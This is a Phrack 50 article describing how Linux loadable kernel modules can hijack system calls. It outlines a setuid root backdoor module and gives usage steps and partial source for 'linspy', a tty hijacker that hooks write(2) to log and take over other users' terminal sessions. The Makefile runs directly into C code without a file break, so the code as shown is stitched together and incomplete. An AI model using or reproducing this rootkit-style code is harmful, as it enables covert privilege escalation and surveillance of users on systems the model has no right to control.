Subject: [Phrack] Abuse of the Linux Kernel for Fun and Profit
.oO Phrack 50 Oo.
Volume Seven, Issue Fifty
5 of 16
Abuse of the Linux Kernel for Fun and Profit
halflife@infonexus.com
[guild corporation]
Introduction
------------
Loadable modules are a very useful feature in linux, as they let
you load device drivers on a as-needed basis. However, there is
a bad side: they make kernel hacking almost TOO easy. What happens
when you can no longer trust your own kernel...? This article describes
a simple way kernel modules can be easily abused.
System calls
------------
System calls. These are the lowest level of functions available, and
are implemented within the kernel. In this article, we will discuss how
they can be abused to let us write a very simplistic tty hijacker/monitor.
All code was written and designed for linux machines, and will not compile
on anything else, since we are mucking with the kernel.
TTY Hijackers, such as tap and ttywatcher are common on Solaris,
SunOS, and other systems with STREAMS, but Linux thus far has not had
a useful tty hijacker (note: I don't consider pty based code such as
telnetsnoop to be a hijacker, nor very useful since you must make
preparations ahead of time to monitor users).
Since linux currently lacks STREAMS (LinSTREAMS appears to be dead),
we must come up with a alternative way to monitor the stream. Stuffing
keystrokes is not a problem, since we can use the TIOCSTI ioctl to stuff
keystrokes into the input stream. The solution, of course, is to redirect
the write(2) system call to our own code which logs the contents of the
write if it is directed at our tty; we can then call the real write(2)
system call.
Clearly, a device driver is going to be the best way to do things. We
can read from the device to get the data that has been logged, and add
a ioctl or two in order to tell our code exactly what tty we want to log.
Redirection of system calls
---------------------------
System calls are pretty easy to redirect to our own code. It works in
principle like DOS terminate and stay resident code. We save the old
address in a variable, then set a new one pointing to our code. In our
code, we do our thing, and then call the original code when finished.
A very simple example of this is contained in hacked_setuid.c, which
is a simple loadable module that you can insmod, and once it is inserted
into the kernel, a setuid(4755) will set your uid/euid/gid/egid to 0.
(See the appended file for all the code.) The addresses for the
syscalls are contained in the sys_call_table array. It is relatively easy
to redirect syscalls to point to our code. Once we have done this, many
things are possible...
Linspy notes
------------
This module is VERY easy to spot, all you have to do is cat /proc/modules
and it shows up as plain as day. Things can be done to fix this, but I
have no intention on doing them.
To use linspy, you need to create an ltap device, the major should
be 40 and the minor should be 0. After you do that, run make and then
insmod the linspy device. Once it is inserted, you can run ltread [tty]
and if all goes well, you should see stuff that is output to the user's
screen. If all does not go well ... well, I shall leave that to your
nightmares.
The Code [use the included extract.c utility to unarchive the code]
---------------------------------------------------------------------
<++> linspy/Makefile
CONFIG_KERNELD=-DCONFIG_KERNELD
CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD)
CC=gcc
# this is the name of the device you have (or will) made with mknod
DN = '-DDEVICE_NAME="/dev/ltap"'
# 1.2.x need this to compile, comment out on 1.3+ kernels
V = #-DNEED_VERSION
MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX
/* this is the new write(2) replacement call */
extern int new_write(int fd, char *buf, size_t count)
{
int r;
if(is_fd_tty(fd))
{
if(count > 0)
save_write(buf, count);
if(taken_over) return count;
}
sys_call_table[SYS_write] = original_write;
r = write(fd, buf, count);
sys_call_table[SYS_write] = new_write;
if(r == -1) return -errno;
else return r;
}
/* save data from the write(2) call into the buffer */
void save_write(char *buf, size_t count)
{
int i;
for(i=0;i < count;i++)
in_queue(get_fs_byte(buf+i));
}
/* read from the ltap device - return data from queue */
static int linspy_read(struct inode *in, struct file *fi, char *buf, int count)
{
int i;
int c;
int cnt=0;
if(current->euid != 0) return 0;
for(i=0;i < count;i++)
{
c = out_queue();
if(c < 0) break;
cnt++;
put_fs_byte(c, buf+i);
}
return cnt;
}
/* open the ltap device */
static int linspy_open(struct inode *in, struct file *fi)
{
if(current->euid != 0) return -EIO;
MOD_INC_USE_COUNT;
return 0;
}